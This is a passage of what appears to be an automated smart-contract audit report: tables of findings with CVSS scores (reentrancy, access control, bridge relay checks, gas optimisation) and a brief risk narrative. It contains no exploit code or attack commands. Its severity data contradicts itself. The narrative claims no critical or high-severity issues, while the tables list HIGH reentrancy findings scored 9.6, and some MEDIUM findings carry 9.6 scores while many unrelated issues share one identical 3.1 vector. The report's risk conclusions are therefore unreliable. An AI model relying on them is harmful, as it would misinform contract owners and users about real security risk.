| PECULIAR-REENTRANCY-7d0a8128-0001     | reentrancy     | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
| PECULIAR-REENTRANCY-7d0a8128-0003     | reentrancy     | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
| PECULIAR-REENTRANCY-7d0a8128-0005     | reentrancy     | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
| PECULIAR-REENTRANCY-7d0a8128-0007     | reentrancy     | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
| PECULIAR-ACCESS_CONTROL-7d0a8128-0009 | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| PECULIAR-ACCESS_CONTROL-7d0a8128-0010 | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/                    |

| FINDING ID                                | TITLE          | BASE SCORE | VECTOR                                              |
|-------------------------------------------|----------------|------------|-----------------------------------------------------|
|                                           |                |            | C:H/I:H/<br>A:N                                     |
| PECULIAR-<br>ACCESS_CONTROL-7d0a8128-0011 | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| PECULIAR-<br>ACCESS_CONTROL-7d0a8128-0012 | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| THREAT-SPOOFING-23                        | threat_model   | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-SPOOFING-25                        | threat_model   | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-SPOOFING-128                       | threat_model   | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-SPOOFING-150                       | threat_model   | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-SPOOFING-170                       | threat_model   | 3.1        | AV:N/<br>AC:H/<br>PR:L/                             |

| FINDING ID           | TITLE        | BASE SCORE | VECTOR                                              |
|----------------------|--------------|------------|-----------------------------------------------------|
|                      |              |            | UI:N/<br>C:N/I:L/<br>A:N                            |
| THREAT-SPOOFING-193  | threat_model | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-TAMPERING-441 | threat_model | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-TAMPERING-442 | threat_model | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-TAMPERING-443 | threat_model | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-TAMPERING-444 | threat_model | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-TAMPERING-445 | threat_model | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-TAMPERING-391 | threat_model | 3.1        | AV:N/<br>AC:H/                                      |

| FINDING ID                | TITLE            | BASE SCORE | VECTOR                                              |
|---------------------------|------------------|------------|-----------------------------------------------------|
|                           |                  |            | PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N                   |
| THREAT-TAMPERING-396      | threat_model     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-TAMPERING-762      | threat_model     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-TAMPERING-768      | threat_model     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-TAMPERING-774      | threat_model     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-TAMPERING-780      | threat_model     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| THREAT-TAMPERING-786      | threat_model     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-MISSING_IMMUTABLE-417 | gas_optimization | 3.1        |                                                     |

| FINDING ID                | TITLE            | BASE SCORE | VECTOR                                              |
|---------------------------|------------------|------------|-----------------------------------------------------|
|                           |                  |            | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-MISSING_IMMUTABLE-418 | gas_optimization | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-MISSING_IMMUTABLE-419 | gas_optimization | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-MISSING_IMMUTABLE-420 | gas_optimization | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-MISSING_IMMUTABLE-423 | gas_optimization | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-MISSING_IMMUTABLE-427 | gas_optimization | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-MISSING_IMMUTABLE-428 | gas_optimization | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |

| FINDING ID                  | TITLE            | BASE SCORE | VECTOR                                              |
|-----------------------------|------------------|------------|-----------------------------------------------------|
| GAS-MISSING_IMMUTABLE-662   | gas_optimization | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-MISSING_IMMUTABLE-663   | gas_optimization | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-PUBLIC_NOT_EXTERNAL-256 | gas_optimization | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-PUBLIC_NOT_EXTERNAL-272 | gas_optimization | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-PUBLIC_NOT_EXTERNAL-385 | gas_optimization | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-PUBLIC_NOT_EXTERNAL-762 | gas_optimization | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-PUBLIC_NOT_EXTERNAL-768 | gas_optimization | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/                    |



| FINDING ID                  | TITLE                    | BASE SCORE | VECTOR                                              |
|-----------------------------|--------------------------|------------|-----------------------------------------------------|
|                             |                          |            | C:N/I:L/<br>A:N                                     |
| GAS-PUBLIC_NOT_EXTERNAL-774 | gas_optimization         | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-PUBLIC_NOT_EXTERNAL-780 | gas_optimization         | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| GAS-PUBLIC_NOT_EXTERNAL-786 | gas_optimization         | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| ADV-TOKEN_SECURITY-1        | Token Security Issue     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| ADV-TOKEN_SECURITY-2        | Token Security Issue     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| ADV-CENTRALIZATION_RISK-3   | High Centralization Risk | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| ADV-CENTRALIZATION_RISK-4   | Centralization Risk      | 3.1        | AV:N/<br>AC:H/<br>PR:L/                             |

| FINDING ID                                | TITLE                                                     | BASE SCORE | VECTOR                                              |
|-------------------------------------------|-----------------------------------------------------------|------------|-----------------------------------------------------|
|                                           |                                                           |            | UI:N/<br>C:N/I:L/<br>A:N                            |
| ADV-CENTRALIZATION_RISK-5                 | Centralization Risk                                       | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| UPG-c2538415be88                          | missing_storage_gap                                       | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| crosschain-insufficient_verification-5821 | Bridge function may trust msg.sender without verification | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| crosschain-bridge_fund_drainage-3308      | Value transfer without validation                         | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| crosschain-finality_assumption-9007       | No finality check before allowing withdrawals             | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| crosschain-emergency_withdrawal-6425      | No pause mechanism detected                               | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| crosschain-emergency_withdrawal-4047      | No emergency withdrawal mechanism                         | 3.1        | AV:N/<br>AC:H/                                      |

| FINDING ID       | TITLE                    | BASE SCORE | VECTOR                                              |
|------------------|--------------------------|------------|-----------------------------------------------------|
|                  |                          |            | PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N                   |
| BRG-0155a5bb5aab | unverified_relay_message | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| BRG-35aaaedc6a60 | unverified_relay_message | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| BRG-be1c26f31478 | unverified_relay_message | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| BRG-5e423b693e16 | unverified_relay_message | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| BRG-5ea0b7cb6d88 | unverified_relay_message | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| BRG-3de47f7db994 | unverified_relay_message | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| BRG-dedffd20b4a6 | missing_pause_mechanism  | 3.1        |                                                     |

| FINDING ID                          | TITLE                        | BASE SCORE | VECTOR                                              |
|-------------------------------------|------------------------------|------------|-----------------------------------------------------|
|                                     |                              |            | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| BRG-07f46bed0980                    | deposit_withdrawal_imbalance | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| llamaaudit-pattern-access_control-1 | access_control               | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| llamaaudit-pattern-access_control-2 | access_control               | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| llamaaudit-pattern-access_control-3 | access_control               | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| llamaaudit-pattern-access_control-4 | access_control               | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| llamaaudit-pattern-access_control-5 | access_control               | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |

| FINDING ID                           | TITLE          | BASE SCORE | VECTOR                                              |
|--------------------------------------|----------------|------------|-----------------------------------------------------|
| llamaaudit-pattern-access_control-6  | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| llamaaudit-pattern-access_control-7  | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| llamaaudit-pattern-access_control-8  | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| llamaaudit-pattern-access_control-9  | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| llamaaudit-pattern-access_control-12 | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| llamaaudit-pattern-access_control-15 | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| llamaaudit-pattern-access_control-16 | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/                    |

| FINDING ID                           | TITLE          | BASE SCORE | VECTOR                                              |
|--------------------------------------|----------------|------------|-----------------------------------------------------|
|                                      |                |            | C:H/I:H/<br>A:N                                     |
| llamaaudit-pattern-access_control-17 | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| llamaaudit-pattern-access_control-18 | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| llamaaudit-pattern-access_control-19 | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| llamaaudit-pattern-access_control-23 | access_control | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| llamaaudit-pattern-unchecked_call-1  | unchecked_call | 6.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:L/<br>A:L |
| llamaaudit-pattern-unchecked_call-2  | unchecked_call | 6.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:L/<br>A:L |
| llamaaudit-pattern-unchecked_call-3  | unchecked_call | 6.6        | AV:N/<br>AC:L/<br>PR:N/                             |

| FINDING ID                              | TITLE                                    | BASE SCORE | VECTOR                                              |
|-----------------------------------------|------------------------------------------|------------|-----------------------------------------------------|
|                                         |                                          |            | UI:N/<br>C:N/I:L/<br>A:L                            |
| llamaaudit-pattern-<br>unchecked_call-4 | unchecked_call                           | 6.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:L/<br>A:L |
| llamaaudit-pattern-<br>unchecked_call-5 | unchecked_call                           | 6.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:L/<br>A:L |
| gptlens-2                               | Potential Integer Overflow/<br>Underflow | 6.2        | AV:N/<br>AC:H/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:N |
| pattern-denial_of_service-19            | denial_of_service                        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-denial_of_service-37            | denial_of_service                        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-arithmetic-42                   | arithmetic                               | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-arithmetic-109                  | arithmetic                               | 3.1        | AV:N/<br>AC:H/                                      |

| FINDING ID                    | TITLE             | BASE SCORE | VECTOR                                              |
|-------------------------------|-------------------|------------|-----------------------------------------------------|
|                               |                   |            | PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N                   |
| pattern-arithmetic-131        | arithmetic        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-arithmetic-153        | arithmetic        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-arithmetic-173        | arithmetic        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-arithmetic-196        | arithmetic        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-denial_of_service-209 | denial_of_service | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-arithmetic-214        | arithmetic        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-arithmetic-284        | arithmetic        | 3.1        |                                                     |



| FINDING ID                    | TITLE             | BASE SCORE | VECTOR                                              |
|-------------------------------|-------------------|------------|-----------------------------------------------------|
|                               |                   |            | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-denial_of_service-368 | denial_of_service | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-bad_randomness-371    | bad_randomness    | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-arithmetic-402        | arithmetic        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-denial_of_service-502 | denial_of_service | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-bad_randomness-512    | bad_randomness    | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-denial_of_service-543 | denial_of_service | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |

| FINDING ID                    | TITLE             | BASE SCORE | VECTOR                                              |
|-------------------------------|-------------------|------------|-----------------------------------------------------|
| pattern-bad_randomness-551    | bad_randomness    | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-arithmetic-568        | arithmetic        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-denial_of_service-576 | denial_of_service | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-bad_randomness-585    | bad_randomness    | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| pattern-arithmetic-793        | arithmetic        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |

**Scoring Methodology:** - **Attack Vector (AV):** Network, Adjacent, Local, Physical - **Attack Complexity (AC):** Low, High - **Privileges Required (PR):** None, Low, High - **User Interaction (UI):** None, Required - **Impact:** Confidentiality, Integrity, Availability

### 3.3 Risk Narrative

The audit results indicate a significant number of issues across various categories, primarily in access control, threat modeling, and gas optimization, among others. These findings suggest potential vulnerabilities that could be exploited, such as unauthorized access, reentrancy attacks, and inefficient contract execution. While no critical or high-severity issues were found, the medium-severity issues could still pose

risks if not addressed. The likelihood of exploitation is moderate, given the number of issues and the potential for attackers to combine multiple vulnerabilities. Immediate actions should include prioritizing fixes for access control and reentrancy issues, enhancing threat modeling, and optimizing gas usage to improve overall contract security and efficiency.

## 4. Findings Overview

### 4.1 Summary Table

| ID    | TITLE               | SEVERITY | CONFIDENCE | TOOLS | STATUS              | CVSS |
|-------|---------------------|----------|------------|-------|---------------------|------|
| F-001 | centralization_risk | LOW      | 33%        | 1     | Open<br>(33% conf.) | 3.1  |
| F-002 | centralization_risk | LOW      | 33%        | 1     | Open<br>(33% conf.) | 3.1  |
| F-003 | centralization_risk | LOW      | 33%        | 1     | Open<br>(33% conf.) | 3.1  |
| F-004 | centralization_risk | LOW      | 33%        | 1     | Open<br>(33% conf.) | 3.1  |
| F-005 | centralization_risk | LOW      | 33%        | 1     | Open<br>(33% conf.) | 3.1  |
| F-006 | centralization_risk | LOW      | 33%        | 1     | Open<br>(33% conf.) | 3.1  |
| F-007 | centralization_risk | LOW      | 33%        | 1     | Open<br>(33% conf.) | 3.1  |
| F-008 | centralization_risk | LOW      | 33%        | 1     | Open<br>(33% conf.) | 3.1  |
| F-009 | centralization_risk | LOW      | 33%        | 1     |                     | 3.1  |

| ID    | TITLE                      | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|----------------------------|----------|------------|-------|------------------------|------|
|       |                            |          |            |       | Open<br>(33%<br>conf.) |      |
| F-010 | centralization_risk        | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-011 | missing_event_emission     | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-012 | missing_event_emission     | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-013 | missing_event_emission     | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-014 | missing_event_emission     | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-015 | missing_event_emission     | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-016 | eth-send-unchecked-address | MEDIUM   | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-017 | eth-send-unchecked-address | MEDIUM   | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-018 | eth-send-unchecked-address | MEDIUM   | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-019 | eth-send-unchecked-address | MEDIUM   | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-020 | reentrancy-state-change    | HIGH     | 52%        | 1     | Open<br>(52%<br>conf.) | 9.6  |
| F-021 | reentrancy-state-change    | HIGH     | 52%        | 1     |                        | 9.6  |

| ID    | TITLE                   | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|-------------------------|----------|------------|-------|------------------------|------|
|       |                         |          |            |       | Open<br>(52%<br>conf.) |      |
| F-022 | reentrancy-state-change | HIGH     | 52%        | 1     | Open<br>(52%<br>conf.) | 9.6  |
| F-023 | reentrancy-state-change | HIGH     | 52%        | 1     | Open<br>(52%<br>conf.) | 9.6  |
| F-024 | boolean-equality        | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-025 | boolean-equality        | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-026 | boolean-equality        | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-027 | boolean-equality        | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-028 | boolean-equality        | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-029 | boolean-equality        | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-030 | centralization-risk     | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-031 | centralization-risk     | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-032 | centralization-risk     | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-033 | centralization-risk     | LOW      | 52%        | 1     |                        | 3.1  |

| ID    | TITLE                       | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|-----------------------------|----------|------------|-------|------------------------|------|
|       |                             |          |            |       | Open<br>(52%<br>conf.) |      |
| F-034 | centralization-risk         | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-035 | centralization-risk         | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-036 | centralization-risk         | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-037 | centralization-risk         | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-038 | centralization-risk         | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-039 | centralization-risk         | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-040 | internal-function-used-once | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-041 | internal-function-used-once | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-042 | state-change-without-event  | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-043 | state-no-address-check      | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-044 | state-no-address-check      | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-045 | state-no-address-check      | LOW      | 52%        | 1     |                        | 3.1  |

| ID    | TITLE                      | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|----------------------------|----------|------------|-------|------------------------|------|
|       |                            |          |            |       | Open<br>(52%<br>conf.) |      |
| F-046 | state-no-address-check     | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-047 | state-no-address-check     | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-048 | state-no-address-check     | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-049 | state-no-address-check     | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-050 | state-no-address-check     | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-051 | state-no-address-check     | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-052 | state-no-address-check     | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-053 | state-no-address-check     | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-054 | unspecific-solidity-pragma | LOW      | 32%        | 1     | Open<br>(32%<br>conf.) | 2.1  |
| F-055 | unused-public-function     | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-056 | unused-public-function     | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-057 | unused-public-function     | LOW      | 52%        | 1     |                        | 3.1  |

| ID    | TITLE                         | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|-------------------------------|----------|------------|-------|------------------------|------|
|       |                               |          |            |       | Open<br>(52%<br>conf.) |      |
| F-058 | unused-public-function        | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-059 | unused-public-function        | LOW      | 52%        | 1     | Open<br>(52%<br>conf.) | 3.1  |
| F-060 | state_manipulation            | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-061 | fund_extraction               | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-062 | privilege_escalation_sequence | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-063 | cross_function_vulnerability  | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-064 | precondition_failure          | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-065 | precondition_failure          | LOW      | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-066 | postcondition_failure         | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-067 | postcondition_failure         | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-068 | postcondition_failure         | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-069 | postcondition_failure         | MEDIUM   | 33%        | 1     |                        | 3.1  |



| ID    | TITLE                       | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|-----------------------------|----------|------------|-------|------------------------|------|
|       |                             |          |            |       | Open<br>(33%<br>conf.) |      |
| F-070 | postcondition_failure       | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-071 | postcondition_failure       | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-072 | postcondition_failure       | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-073 | postcondition_failure       | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-074 | access_control_violation    | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-075 | access_control_violation    | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 9.6  |
| F-076 | state_invariant_break       | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-077 | state_invariant_break       | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-078 | state_invariant_break       | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-079 | state_invariant_break       | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-080 | state_invariant_break       | MEDIUM   | 33%        | 1     | Open<br>(33%<br>conf.) | 3.1  |
| F-081 | missing_annotation_coverage | INFO     | 20%        | 1     |                        | 3.1  |

| ID    | TITLE                       | SEVERITY | CONFIDENCE | TOOLS | STATUS                 | CVSS |
|-------|-----------------------------|----------|------------|-------|------------------------|------|
|       |                             |          |            |       | Open<br>(20%<br>conf.) |      |
